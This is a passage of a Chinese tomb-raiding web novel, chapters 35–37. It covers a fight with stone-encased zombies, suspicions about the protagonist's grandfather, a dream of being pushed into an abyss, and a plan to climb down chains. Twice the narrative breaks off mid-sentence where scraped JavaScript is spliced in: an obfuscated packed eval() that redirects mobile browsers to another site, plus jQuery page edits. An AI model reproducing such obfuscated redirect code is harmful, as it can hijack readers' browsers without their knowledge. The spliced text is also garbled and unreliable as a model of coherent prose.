封鬼看得是目瞪口呆,其他人也都露出惊愕的神情。这人竟然会武功,这他娘的简直就是在看武打片啊! “二胖!别浪费子弹了!枪根本就没用!赶紧用你的跆拳道干掉几个,我们先去找出口!” 封鬼冲着二胖大喊,看了宋阿拽对付那些石俑的手段之后他就明白了,枪是拦不住的,还不如肉搏拧断几条胳膊腿希望大一点儿。 二胖早就因为宋阿拽出尽风头而恨得牙痒痒了,这时候封鬼再那么一煽动,他也就什么都不顾了,扔下枪咬着牙就冲向离自己最近的一个石俑,抱着它的胳膊反手一搏准备将它撂倒。 可那么大一块石头死沉死沉的,重量根本就不是他能对抗的,脚下一滑反而自己倒了,被石俑一下子就扛了起来。 风鬼一看暗叫不妙,捡起一颗头骨就朝那石俑砸了过去,它扭过头看向封鬼,将二胖扔掉朝他跑来,那凝固的石脸诡异到了极点,简直就是张死人面具。 封鬼来不及多想,抽出邪牙刀准备跟它硬拼,却发现邪牙竟然在发光,这说明这石俑是鬼怪啊,可以用自己的血对付它。 可是突然想到自己喝了宋阿拽的血,应该是暂时失效了,却也不想就这么放弃,只能一试。 可他已经来不及做出下一步的行动,那石俑趁他胡思乱想的时候已经到了他的面前,伸出粗大的石臂掐住了他的脖颈,将他抬了起来。 封鬼抱着它的胳膊挣扎,脚尖已经碰不到地面了,脸也憋得通红,越来越使不上劲儿。 他这才有机会如此近距离的观察那石俑的脸,发现这石俑的右耳被打烂了,应该就是二胖之前打中的那一个。 从它的耳朵里流出绿色的粘稠液体,封鬼闻到一股腥臭的味道,突然就灵光一闪,举起邪牙刀对准它的耳朵,狠狠捅了进去。 那石俑明显受到了很大的刺激,一下子就松了手,封鬼连忙退到一边,咳嗽几下顺气之后,就看见他石俑不断挖挠自己的耳朵,好像是因为太过疼痛,力气又大,竟然把耳朵周围的石头挠掉一大块,从里面露出黑色的毛发! 原来这石俑只是被裹了一层石浆,里面是另有玄机啊!封鬼暗骂一声,已经有了对策,冲鸦门陈老四他们就大叫: “这些石俑都是黑毛僵!!快用五帝钱和糯米!” 鸦门的反应是最快的,她都没等封鬼说完,就滚到墙角,迅速从包里掏出一把糯米洒向那群石俑,果然有用,它们都抬手挡脸向后退去。 鸦门又抽出五帝钱串的红绳朝封鬼扔了过去,一人扯着红线的一头拉出一道防线,那些石俑纷纷后退,再也不敢上前。 陈老四和宫六也照做,用红线跟鸦门那条连接,形成一道弧线把石俑隔开,而大家都退到了骨山上。 “黑毛僵速度极快!这些五帝钱只能暂时遏制它们,时间久了就挡不住了,咱们必须马上找出路。” 陈老四急得额头直冒汗,他这么多年还真没面对过这么棘手的情况。二胖啐了口骂道: “他娘的!实在不行就再上去!大不了和那群鸟拼了!” “不行!那群鸟比这僵尸还难对付,又有毒,数量还这么多,你上去不是找死嘛!” 鸦门话音刚落,身子一沉,竟然掉进骨头堆里,瞬间就被淹没。大家慌忙去救人,因为重量不均匀,幅度又大,原本就不牢靠的骨骸竟然纷纷滚落,覆盖住地上的糯米和五帝钱红线,那些石俑一见没了屏障全都涌了上来! 封鬼急忙又去掏糯米,可已经来不及了,只听轰隆哗啦一连串巨响,骨骸堆成的山彻底坍塌,骨浪把他们冲得七零八落,差点给活埋在底下。 也就因为堆在墙角的骨山坍塌,没有了任何的覆盖遮挡,墙壁上竟然露出一扇暗门,离门最近的封鬼一眼就看到镶嵌在石壁上的圆形青铜机关,也来不及考虑会不会有毒气箭雨放出了,立刻转动那青铜机关,石门竟然打开了。 “快!大家快进来!”封鬼朝大叫,其他人一看有个石门都向他跑了过去,也等不及石门全都打开一个个都弓着腰钻了进去。 宋阿拽垫后,是最后一个到达石门的,可是有一个石俑拖着他的腿将他放倒,一时半会儿他也爬不起来,眼见着后面的石俑又聚了过来,封鬼心说你救过我,这下该我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400027|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还你人情了,也不顾其他人的阻拦,冲过去对着那石俑的脑门就是一刀。 可是那石俑里裹着的是黑毛僵啊,怎可能这么轻易就中招?抬手一档就将封鬼的邪牙甩了出去,落在骨头堆里没了影了。 封鬼一下子就急了,这他娘的是他们家祖传的宝贝,就算丢了命也不能丢了刀啊,也不顾得宋阿拽了,慌忙就去找刀。 在骨头堆里摸来摸去都没摸到,这时候石俑已经迅速围了过来,之前牵制住宋阿拽的那个竟然也转而攻击他,好像觉得他比较好欺负一样,对宋阿拽已经是不管不问了。 我去!封鬼咒骂一句,心说我他娘的招谁惹谁了?怎么全都冲着我来了?仔细一看果然不假,那石门是大开着的,竟然根本就无人问津,所有的石俑好像都以自己为目的,已经快要将他包围了。 封鬼心说这下完了,也不指望有谁能冲上来救他,干脆牺牲自己让大家赶紧逃命吧。 “你们快走!别管我了!”封鬼冲石门下的众人悲壮的大喊,已经做好了被抛弃的准备,对自己说就算成了鬼也绝对不能怪他们,合该自己倒霉,老天爷要他死在这里,那就是自己的命。 眼看着石俑越来越多,就像是包围猎物的豺狼一样,竟然都放慢了速度,反而是缓慢的接近他,好像把这当成一种乐趣,在观察着猎物最后的垂死挣扎。 封鬼眼一闭,想来个眼不见为净,心说你们这帮狗日的变态僵尸,鬼爷我就是不喊不叫看你们能怎么着,要吃就吃,少他娘的做这么多假动作。 可就在这个时候,封鬼突然听到布料撕裂的声音,他猛然睁开眼,就看见那宋阿拽竟然把两条袖子给扯了下来,露出精壮的胳膊,猛然一发力,只见无数青筋就像是青龙一样在他两条胳膊上游走,低吼一声发起怪力,从后面把一个石俑拦腰抬了起来,一下子扔出好几米,摔在地上将表面的石壳砸了个粉碎,露出里面的黑毛僵,穿着一身完好如新的青铜铠甲来。 众人看得都傻了眼了,不只是他们,就连那些石俑好像都吃了一惊,齐刷刷的扭过头看着宋阿拽,封鬼一见有机可趁,又蹲下去找他的邪牙刀,总算是摸到,连忙趴在地上想要从石俑堆里爬出去。 不过有个石俑正好低下头,撞了个正着,伸手就要抓他,封鬼使出全身的力气手起刀落,砍下它一只手,幸好它的嘴被石浆裹着发不出声音招不来同伴,封鬼就趁着这宝贵的几秒钟慌忙从那些石俑的□□爬了出来,朝石门跑去。 二胖和玄武已经在那接应,端着枪朝他扫射,吓得封鬼差点跌倒,就看见子弹贴着他的脸射了过去,身后响起一片子弹撞击石头的声音。他也顾不上扭头看了,反正肯定是那些石俑追上来了,封鬼手脚并用的跑进石门,看见宋阿拽还在那搏斗,急得大叫: “怎么办!赶紧想办法救人啊!” “炸药!对!怎么把炸药给忘了!”鸦门大叫一声,手忙脚乱的掏出一捆□□炸药,宫六一把抢过去点着,扔向石俑最多的地方。 封鬼也来不及责骂他手快,冲着宋阿拽大喊: “快过来!马上就要爆炸啦!” 宋阿拽显然是看到那炸药扔到了哪里,不再恋战,一边躲避攻击一边突袭,总算是来到了石门前,这时候已经有不少石俑跟着他一起追了过来,宋阿拽连忙转动机关,石门开始下降,他又打倒最近的两个然后钻进石门。 “快趴下!” 宫六的叫声被一声惊天动地的巨响所淹没,所有人都被冲击波顶出好远之后摔倒在地,整个大地都在震动,墙面也在摇晃,从上面掉下来大大小小的石块,砸中那些石俑,有的被砸掉了脑袋和胳膊,有的干脆直接就被一块巨石压扁,绿色的腥臭浓汁四处飞溅。 有不少石头和骨头被气浪震得飞入石门,砸中里面的人,好在石门已经闭合,挡住了更多的伤害。这边虽然顶上没有巨石砸下来,不过还是有不少沙土和碎石落了下来。 余震持续了有两分钟,封鬼只觉得耳朵嗡嗡作响,什么都听不见,脑袋就跟被人狠狠闷了一棍似的。过了好久他才能爬起来,晃晃悠悠的走向二胖,见他和自己一样都流了不少鼻血,其他人也都有不同程度的损伤和出血情况。 不过宋阿拽就是个例外了,他除了胳膊上有一两处擦伤之外,好像根本就没什么事,而且肌肉和青筋也没有刚才那么突兀,显然是恢复了原本的状态。 封鬼心里纳闷,刚才到底是什么情况?他怎么跟绿巨人一样突然就变得力大无穷了呢。刚想开口问他,没想到他径直朝自己走来,死死的盯着他说: “那些怪鸟和石俑,都是冲着你来的。” 35.【35】阴谋论 什么?冲着我来的?封鬼愣了一下,显然没明白他什么意思。这时候二胖就凑了过来,一边擦从耳朵和鼻子流出来的血一边冲宋阿拽说: “你说的有道理,我之前也是这么想的。” 宋阿拽见有人接茬就懒得继续往下说了,封鬼知道他的脾气,也就不再理他,转而看向二胖: “你说清楚点儿,怎么就冲着我来了?” “你想啊,为什么我们这么多人就你中了那鸟毒?当时我在下面可看得清楚,那些鸟只围着你转啊。还有那些石俑,到后来不也是只攻击你吗?” 封鬼仔细一回忆,果然如此啊,那些怪鸟和石俑确实把自己当成最大的攻击目标。这他娘的是怎么回事?自己跟它们无冤无仇的,怎么就成了众妖魔的公敌了呢? “好像还真是,哎?这是为什么啊?”封鬼在那犯嘀咕,怎么想都想不通啊。二胖摇了摇头,叹道: “嗨!还能为什么?谁叫你是封家的第十代传人啊!妖魔鬼怪见了你哪个不想除之而后快!哎?我说,是不是那些鬼啊怪的都认识你,要不然怎么全都对付你一个人呢?” 二胖又在那自己分析,这时候鸦门陈老四他们也都慢慢恢复围了过来。封鬼啧了啧嘴,觉得不太可能。 “不可能吧,我脑门上又没写着‘封鬼在此,诛邪回避’,再说那些魔怪也没这么聪明啊。” “怎么不可能啊?你不是有一身封鬼宝血吗?它们肯定是闻出你这身味儿了!不是说妖怪的鼻子都比狗还灵嘛!”二胖这回说的倒是有几分可信了,连陈老四都点头认同: “有这个可能,也许那些魔怪认识你爷爷封九公,闻到你身上的味儿跟他一样,说不定把你当成了他。” 妖怪认识他爷爷?封鬼觉得这也太离谱了,连忙否认。 “不会吧,这些妖怪在地下埋了两千多年了,怎么可能见过我爷爷呢?” 只见陈老四诡异的笑了笑,竟然露出钱串子那种狡黠阴险的表情,冷哼一声: “哼,封老弟,说了你可别生气,这只有两种可能啊,要不然是它们从地宫里出去过,要不然就是你爷爷进来过!反正绝对是它们见过你爷爷!而且还结了仇,所以才会把你当成了他,不然它们绝对没有任何理由针对你啊!” 陈老四这番话说的很是犀利,也经得起推敲,如果不是这样,那其他的原因也说不通啊。 而且陈老四这话里还有别的意思,仔细琢磨就会发现,他十分肯定那些妖怪是见过他爷爷封九公而不是其他更早辈分的封家传人,这说明一个时间问题: 联想到之前的那个盗洞,只有地宫被破坏之后那些怪鸟才有可能会出来,或者说进去的人才有可能见到那些魔怪。这么一来就很明确了,显然陈老四觉得之前进入地宫的那帮人中就有封鬼的爷爷。 “你是说之前进来的那批人就有封九公?!”鸦门脑子转的很快,已经想到了陈老四的意思。陈老四嘿嘿一笑,十分虚伪的说: “呵呵,我这也是随口说说,没什么证据嘛。” “不可能!我爷爷四十多年前就死了,怎么可能会到这地宫里来?” 封鬼是打死都不愿相信啊,他爷爷绝对不可能是个盗墓贼。 他们封家一直都是名门正宗,从没干过这种不光彩的事情。再说他也从来都没听父亲和二叔提过啊,道上的人都知道封九公那是德高望重的封门第九代传人,如果这种不光彩的事情被传了出去,那他们封门也就别想再抬起头来了。 陈老四这个人虽说也没啥大的坏心眼儿,但毕竟是个生意人,就是有那股子看好戏的八卦情怀。 再说封门和屠乌门毕竟是同行,俗话说这同行是冤家,如果封门真要出了什么丑闻他肯定乐意去看这笑话并广为流传。 如果真让自己给猜中了,那封九公就成了个盗墓贼,与他们屠乌一样有段黑历史啊,那封家在四大派中的崇高地位也就不保了,这种损人利己的事他是很乐意效劳的。 “四十多年前,那时间刚刚好啊,说不定你爷爷从这里出去之后没多久就死了。” 陈老四继续在那幸灾乐祸,封鬼是越听越着急,却又说不出反驳的话来。其他人也都用一种古怪的眼光看着他,不知道是怀疑还是嘲笑,反正让人看着十分不舒服。 封鬼只觉得自己心里憋得难受,简直比窦娥还冤。 家族突然被冠了个不知是否莫须有的罪名,又不敢理直气壮的反驳争辩,实在是窝囊到了极点啊。 “行了,现在是说这些事的时候吗?不管封鬼的爷爷是不是进来过,咱们得想办法出去啊。” 鸦门毕竟是个女人,见封鬼这么难受同情心泛滥,连忙岔开话题。 陈老四也觉得自己有点过分,就拍了拍封鬼的肩膀安慰道: “哎呀,封老弟,我也就是这么说说,你别往心里去,全当我是开玩笑嘛。” 说完之后,陈老四就跟宫六打头朝前面走去,其他人也都跟上。 “小封,你别听那陈老四胡说,别想了啊。” 二胖底气不足,显然他也是心虚,怀疑封鬼的爷爷确实来过这里。但毕竟是兄弟,不向着他说话那也太不仗义了。 封鬼也明白他是好心安慰自己,无奈的摇摇头,表示自己没事,让他放心。 走在自己旁边的就是宋阿拽,封鬼觉得他是这个话题的始作俑者,多少有些怨恨他,没好气的问: “你是怎么想的?你也认为我爷爷进来过吗?” 宋阿拽根本没想到他会对自己说话,有点诧异的看了看他,然后保持了自己的一贯作风十分简洁冰冷的吐出四个字: “我不知道。” 封鬼翻了个白眼,暗骂自己神经,明知道他是什么人还去问他,这不是没事找事嘛。 “我认识你爷爷。”没想到宋阿拽又幽幽的吐出几个字,说完就径自走了,搞得封鬼是一头雾水。 认识我爷爷?这是几个意思啊?只是听说过有这号人,还是真的面对面的见过那种认识? 不过后面那种认识显然不可能啊,就算宋阿拽不显老已经四十多岁了,认识他爷爷那会儿顶多也是个刚出生的婴儿,连眼睛都还没睁开呢,又怎么可能会认识他爷爷啊。 越想越觉得心力交瘁,最后想得脑袋都要炸了,封鬼使劲敲了敲后脑勺,克制自己不再想这些恼人的问题。 突然前面有人叫停,这才发现他们已经进入另外一间墓室,灯光一打过去,就看见前面陈列着许多石棺,有大有小,纵横交错没有什么规律,看样子少说也有几十口棺材。 陈老四说这可能也是陪葬的,不过既然有棺椁那说明地位应该比较高,很可能是墓主人的妻儿妾室,可这么多都摆在这也太离谱了,似乎又有些不可能。 二胖和小白就提议开棺拿明器,陈老四和玄武反对说多一事不如少一事,趁着它们没有起尸赶紧走人吧。 最后还是听鸦门的,说这么多棺材摆在这实在古怪,很有可能是故布疑阵混淆视听,为了防止盗墓贼而在棺材中装了致命的机关,一旦开了棺那就性命堪忧啊。 众人一听觉得十分有道理,考虑再三都不愿意拿自己的生命去冒险,要真是落得个阿福的下场实在太过悲惨,于是最终决定只是路过,就不再打扰了。 就在他们从这几十口棺材中间走过到达墓室另外一侧的时候,发现有个棺材竟然被打开了,拿手电一照,里面躺着一只人手! 好在不是僵尸已经变成枯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400028|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨了,众人都松了口气。不过那手腕上带着块手表,这显然是之前那批人开棺的时候中了机关啊。 二胖暗自庆幸幸亏是听了鸦门的话没有开棺,不然他们指不定是缺胳膊掉脑袋呢。陈老四把那块手表摘下来看了看,对众人说: “这是70年代的卡顿304军用机械手表啊,是西安国营风雷仪表厂的产品。” 国营风雷仪表厂也被称为国营618厂,在当时属于国家的兵器工业部,专门生产坦克装甲车以及军用高精密仪器等军工产品,所以这块手表显然是部队才能用的东西,这说明之前那批人是政府的人啊,说不定封鬼的爷爷封九公也是政府派来的。 如果真是这样,那他爷爷就不是盗墓贼了,而是为国家办事,这就一下子上升到了考古科研的伟大高度啊。 封鬼突然就来了底气,一再强调之前那帮人是国家派来搞研究的,与盗墓无关。 其他人只是笑笑没有多说话,不过这他娘的真是越来越玄乎了,谁也猜不透这到底是怎么回事啊。如果真是封鬼的爷爷来到这里,而又牵扯到了政府和军队,那这背后的阴谋可就大了去了,事实的真相一定是个惊天动地的大秘密啊。 “我说小封,会不会你爷爷被国家委派了什么重大任务,比如从恶魔手中拯救全人类什么的,所以才会到这地宫寻找线索?或者是哪位领导人也想长生不老就组织了这么一支队伍来找长生不老药?” 二胖自己在那越说越离谱,猛一听感觉还有那么点儿意思,可那全都是他自个儿胡扯蛋实在是不可信啊。 “又是拯救全人类!我说你就是美国片看多被洗脑了,一天到晚搞老美那套个人英雄主义,全TM都是胡扯蛋!”封鬼可算是逮着个机会,抓着二胖趁机发泄自己憋闷的心情。 不过这么笑骂一通之后,也确实缓解不少压力,大家也都被逗乐了,于是离开这个墓室继续往前走。 前面又是一个甬道,不过不是很长,尽头出现一个向下的石阶。宋阿拽打头,领着大家一路向下,好在没有遇到什么机关,走了一会儿前面突然进入一个无比空旷的空间,几盏矿灯一起打过去,所有人顿时就被眼前的景象惊呆了。 他们正站在一道两人宽的廊桥上,而桥的前方通向一个圆形的石台,石台下面就是看不到头的黑暗深渊,四周离石台几十米远的地方就是陡峭的石崖峭壁,上前全都是之前见到的那种洞穴,里面可能就是那些怪鸟的巢穴啊。 “我去!这他娘的就是第六层?!”二胖按耐不住激动的骂了句,因为声音传入崖壁上的洞穴内,四周霎时响起无数道回音,听起来像极了鬼哭狼嚎,简直就是恐怖的地狱深渊。 谁也没有想到地宫的第六层竟然是这种出乎意料的古怪构造!中间的圆台简直就像是个祭祀台,难道说古人会将牛羊之类的动物放在这里喂养周围那些怪鸟吗? 面对如此惊心动魄的绝境,大家都是胆战心惊,别说这深渊根本就下不去,那绝壁上的洞穴很可能与第四层的窟窿相通啊,他们不会再碰上那些怪鸟吧!要真是这样,他们连跑的地方都没有啊! “我说,从这里跳下去不会就是第七层吧?” 二胖趴在石台边儿上往下看,一片漆黑是根本就什么都看不见。 “少废话,要跳你跳,我还想多活几年。”封鬼一屁股坐倒在地,他毕竟是重伤在身啊,之前与那些石俑斗了这么长时间实在是筋疲力尽,体内又有寒血身上冷得直发抖,找了快毛毯往身上一裹就开始吃压缩饼干。 其他人也都是疲惫不堪,于是大家决定先在这里休息休息,之后再打算怎么下去。鸦门统计了一下大家的食物和水,剩的实在不多,要是12小时之内再走不出去,他们就只能饿肚子了。 36.【36】坠入深渊 和二胖闲扯了一会儿皮,封鬼实在是扛不住,靠着背包就呼呼大睡起来。这一觉睡得实在不怎么舒服,他是被硬生生冻醒的。醒来之后就看见鸦门宋阿拽还有陈老四他们在研究下一步该怎么办。二胖和宫六倒是会找乐子,两人在那搞组枪比赛,而赌注则是一根能量棒。 小白还在睡觉,玄武见封鬼醒了之后,就朝他走了过来。封鬼不知道他想干嘛,很主动的向他打了个招呼,可是他脸上却不怎么好看,也不知道自己是哪里又得罪了他,封鬼心里有点儿郁闷。 小胡子坐到封鬼身边,递了半块巧克力给他,见他犹犹豫豫不愿意接,冷哼一声说: “吃了吧,你的体温一直都上不去,体力消耗得又快,再这么下去可不妙啊。” 见他那态度也不知道是挖苦还是嘲讽,反正封鬼就是觉得他不怀好意,不过他还没傻到跟自己的身体过不去,接过巧克力两三口就解决了。 玄武见他吃完之后,又哼了一声,半响两人都没有说话。封鬼打了个哈欠觉得有点尴尬,刚想开口就听见他说: “小封爷,您究竟是为了什么到这里来的?我想你的目的总不至于是长生不老药和这墓中的财宝吧?” 封鬼愣了一下,完全没有想到他会这么问。自己为了什么目的来到这里的?他问这个干嘛啊?是要打探什么吗?难道他不知道自己是帮陈老四解鸦门一起来解决陈癞子的事情的? “我是陈四爷请来帮陈三爷的啊。”封鬼理所当然的回答,玄武摇了摇头,显然对这个答案不满意,冷笑着说: “怎么帮?如果陈三水就是陈癞子,你认为他儿子和孙子会帮他用长生不老药来续命吗?” 关于这个问题封鬼之前也想过,如果陈三水真是陈癞子,那他干了这么多丧尽天良的事陈晓和陈国祥显然是不可能放过他啊,再说那陈三水既然没有得尸绝症就不应该还躺在床上装病,而且一装就是一整年,这里头显然还有什么别的内幕。 “这……这是人家的事,我一个外人也管不着。人家既然花钱请我来做事,我就要有始有终。”职业道德封鬼还是有的,不管怎么说,陈老四也给了他一笔相当可观的定金,而且这又是在自己独立门户之后二叔介绍的第一笔大买卖,甭管是面儿上还是个人成就上来说,那就是拼了命他也得完成啊。 玄武应该是早就料到封鬼会这么说,十分不屑的摇了摇头。 “好一个有始有终啊。你可知道何为开始何为终结啊?” 他的语调明显透着股非难,好像是成心找茬一样。封鬼本来还挺欣赏这个小胡子的为人处事,现在可就真是有点生气了,不耐烦道: “我说你问这个干嘛?有什么意思吗?我对哲学可没什么兴趣。” 玄武就这么盯着封鬼,好像很有耐心的在听对方倾诉一样,见他确实没有再继续说下去的打算,终于叹了口气,以一种近似说教的长者口吻对他说: “你跟宋天官一样,做什么事情都想要有始有终,却根本不知道自己是从何而起的,更无法预料结果是什么。” 这话说的太过语重心长了,封鬼有那么一瞬间还真以为他是在给自己上哲学课呢。可下一秒封鬼就一句话也说不出来了,简直是如鲠在喉啊,那种欲言又止想说却不知如何开口的感觉实在憋得难受啊。这人也太古怪了,说这番令人费解的话到底是什么意思呢? 封鬼努力在脑中又重复了一遍他的原话,仔细琢磨这其中的奥妙,以自己的理解发现他的话中包含了两层意思。第一层也就是最显而易见的表面意思是说他和宋阿拽都是执着的人,但在执着的同时又都搞不清状况,往往会误入歧途;而更深一层的意思则是,他们两人来到这里都是为了一个目的,但是谁都不知道这目的究竟是什么,或者说他们以为自己知道可实际上根本就不知道,于是一开始就搞错了动机,让自己陷入一种迷局之中,对前面的路更是摸不清看不透。 可是他对自己说这些是为了什么呢?如果他真的知道什么秘密为什么不直接告诉自己呢?难道他是在暗示自己将会面临什么不可预知的危险?是否有一种神秘邪恶的力量已经在自己周围布下了巨大的陷阱?封鬼最讨厌和拐弯抹角故作神秘的人打交道,这他娘的实在是太憋人了,要是真有危险,那还不如不提醒的好,就让他优哉游哉的过一天算一天,做哪门子的杞人忧天啊。 不过想到这,封鬼又发现一件事,刚才玄武竟然直呼宋阿拽的名字而没有叫他“老板”,这还真是头一遭啊。自己早就觉得他们的关系不是上下级那么简单了,现在玄武这么说显然是在向自己挑明啊。 “你不是宋天官的手下?” 封鬼迫不及待的问,玄武早就在那等着了,知道他会这么问题,呵呵一笑十分坦然的说: “呵,不怕和你说实话,他根本就不是我们老板。不过其他的事你也就别问了,其实我也是什么都不知道。咱们都是替别人办事的,有时候也是身不由己啊,”说到这,玄武犹豫了一下,顿了顿,深深看了眼封鬼继续说: “小封爷,我是十分敬重你爷爷封九公的,看在他老人家的份儿上我奉劝您一句,这以后绝对不能相信任何人,就连自己的眼睛都不能信,你得用心去感知周围的一切,这样才能辨出真假来。” 玄武越说封鬼的脑子就越乱,这他娘的都是什么跟什么?还不能相信任何人?难道连自己亲眼所见的事也可能会是假的吗?!要真是这样,那还活着干嘛?连自己的眼睛都能出卖自己,你还能再相信谁?恐怕连自己的心也会出卖自己啊。 “那你们来这里又是为了什么?”想不出来答案封鬼就反问,他们既然不是宋阿拽的手下,跟着他来必然是有和他不同的目的啊。 “为什么?就是因为你们有这么多的为什么,忍不住那些好奇心,才走到现在这个地步。”玄武又是冷笑一声,说出的话已经完全超出封鬼的理解范围了。如果他不是因为无聊发神经在这故弄玄虚,那就是真有什么不可思议的阴谋正悄悄在自己身边发生,而他只是在力所能及的范围内暗示自己一下,让自己有所提防。 “你能不能说得再明白点?你是要警告我什么?”封鬼只能这么理解,于是继续追问。玄武突然变了脸,表情一下子狰狞起来,死死瞪着封鬼就凑了过来,吓得封鬼连连后退,差点掉下石台。 “你这样早晚会把他害死的。”玄武一字一顿咬牙切齿的说,封鬼顿时觉得脚底一股寒意窜了上来,连寒毛都炸了起来。这又是什么意思?他能会害死谁啊?难道是宋阿拽吗?刚想开口询问,只见玄武那张脸阴沉的可怖,狞笑着说: “哼!与其让他死,倒不如让你死。” 封鬼完全不知道发生了什么事,就看见玄武扭曲着脸狠狠推了他一把,他一下子就从石台边儿上跌了下去。那恶毒的表情越来越模糊,最后完全消失在他的视线里。 封鬼张大嘴想求救却根本就发不出声音,他只能听到耳边犀利的呼呼风声,身体如同石头一样迅速坠入黑暗的深渊。而两边的绝 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我去!封鬼忍不住暗骂,如果真要考虑这么多问题,真要面对那么些复杂的人生,他娘的还不如就这么下地狱算了。 再睁开眼,封鬼就觉得一阵毛骨悚然,因为他看见二胖和宫六正在那组枪,鸦门陈老四他们也围在一起讨论着什么事情,而玄武叫醒还在睡觉的小白,然后扭头看了自己一眼,在那张算计世故的脸上露出了一丝似有若无的冷笑。 这无比熟悉的画面冲击力实在是太过强烈了,分明是之前刚刚经历过,难道他进入了什么生命的死循环? 封鬼下意识的抹了把额头,竟然是满手的汗。他这才发现自己脸颊滚烫,身上也热得难受。原来自己是被热醒的,而刚才那个诡异的梦简直就真实的可怕,让他根本就无法分辨出之前才是现实世界还是现在正在梦魇之中啊。 毫不留情的狠狠掐了自己一下,封鬼确定现在才是现实,刚才确实是自己做了一个诡异的梦。只是这个梦境太过离奇古怪了,而且玄武在梦中对他说的那些话简直就是历历在目,他一句不落的全都记得清楚。 难道说那番对话并不是梦,而是真实发生了的,是玄武用了什么邪术将对话植入自己的梦境,从而警告自己一些事情?而他之所以选择如此隐蔽的方式,是为了躲避什么耳目吗?封鬼只觉得心跳是越来越快,浑身的血液也在迅速的流动。难道说,那股神秘的邪恶力量已经渗透到了他们的周围,正在监视着他们的一举一动? 就在封鬼被这一大堆的问题折磨得头疼欲裂的时候,从石台下面的深渊传来一声响彻山谷的吼叫,震动之大连整个石台都颤了两颤,随之而来的就是片刻的寂静。可这寂静持续了不到半分钟,就听见他们所处的悬崖峭壁之间响起了铺天盖地的翅膀煽动声与那种怪鸟发出的刺耳电流声,而这中间还夹杂着铁链猛烈撞击的声音。这三种声音杂糅在一起,产生了无法估量的高分贝回声,就像是成千上万台坏了的收音机在同时发出杂声,简直就是魔音穿耳。 这种从未有过的感官刺激让封鬼的鸡皮疙瘩都立了起来,他捂着耳朵和大家一起来到石台边上往下看,竟然看到下面有几点晃动的光亮,那显然是有人在下面拿着矿灯发出的亮光!而那种巨大的肉翅人面怪鸟正从光亮处飞了上来,显然是受到某种惊吓而四处逃窜。 借着从下面打上来的光亮,他们才发现下面有许多纵横交错的粗大铁链连着四周的峭壁,而那铁链撞击声正是怪鸟撞到铁链上所发出的! 37.【37】从铁链向下爬 “大家快趴下!” 也不知道是谁突然大叫了一声,所有人都抱着头趴在了地上。就见那黑压压成千上万只怪鸟叫嚣着从下面冲了上来,全都钻进了四周岩壁上的洞穴之内。这个过程持续了有好几分钟,终于慢慢归为平静,再也没有任何鸟影。等他们从地上爬起来,石台上和身上到处都是臭烘烘的鸟粪。这他娘的可真够晦气的,到底是什么东西吓得那群鸟孙子连屎都拉出来了。 来不及打理身上的秽物,众人急急忙忙又朝下看,可下面已经没有灯光了,又是恢复了之前的一片漆黑。他们试着朝下面叫了几声,除了回音根本就没人答应。这距离实在是太远了,不太可能听见,再说下面的人可能发生了什么变故已经离开了。 “会不会是陈晓他们在下面?”鸦门在那一边擦头发一边问,陈老四连连点头道: “应该就是他们!这墓里除了咱们也没别人啊。咱们必须想办法下去!” 这话说的容易,不过再看看下面漆黑一片的深渊,陈老四就彻底没辙了。从石台到下面的地面那少说也有一百来米啊,就算用尽他们身上所有的绳子都不够。再说这下面的根本没有立足点,就算绳子够也没地方固定支撑啊。 想不出办法大家就开始犯愁,二胖擦了把沾着鸟粪的手突然大声说: “用锁链!那些锁链是通往下面的,咱们可以从链子上爬下去啊!” 是啊,封鬼觉得这招可行,怎么自己没有想到呢?二胖果然脑子就是灵光。不过陈老四却不这么认为,连连摇头说: “这能行吗?那些锁链在这两千多年了,说不定早就锈烂了。再说就算没有坏,这么远的距离怎么爬?万一从上面摔下来怎么办?还有那些鸟,咱们要是爬在铁链上那根本就是肉在砧板,任人宰割啊。” 陈老四这话说得不错,年长的就是比年轻的考虑周全。不过在场的诸位显然是年轻人多,个个都是富有冒险精神的激进分子,肯定不可能因为这么些顾虑就放弃,作为带队的年轻人解鸦门就连忙说: “这倒不一定,那些鸟既然被吓得从下面飞上来,肯定是惧怕下面的东西,那就不敢再下去了。再说我们有绳索绑在身上,也不会轻易掉下去。实在不放心我就先下去探路,你们在这里等着。” 鸦门说的很决绝,显然是打定了主意非下去不可。如果没有其他更好的办法只能靠那些铁链慢慢爬下去。不过他们这么多大老爷们儿让一个女人家去探路那显然是不可能啊,陈老四怕被小辈们看扁,趁机笑话他怂,就反问鸦门: “那下面有什么东西,这些怪鸟能怕它?” “这还用说?肯定是天丑龙肆啊。刚才那叫声,一定就是它发出的。” 鸦门很肯定的说,封鬼也点头认同。 “嗯,下面那些铁链很可能就锁着龙肆,而古人就从石台向下给它投喂食物啊。可没想到一千多年过去了,龙肆早就挣脱枷锁,在地宫中自由行走,靠那些怪鸟为食。而怪鸟就从那些洞穴中的密道飞出地宫,靠丛林里的巨大毒蛇为食。这简直就是一条高级食物链啊。” 封鬼在那边说边感叹,看了看大家见没人反驳,应该是同意的自己的看法,颇有些得意的接着说: “四十年前,地宫被那批国家派来的考察队挖通了入口,龙肆才能自由出入。没想到正好碰到被人面鸟引下水的宋老板,与他斗了一番才又退回地宫啊。” 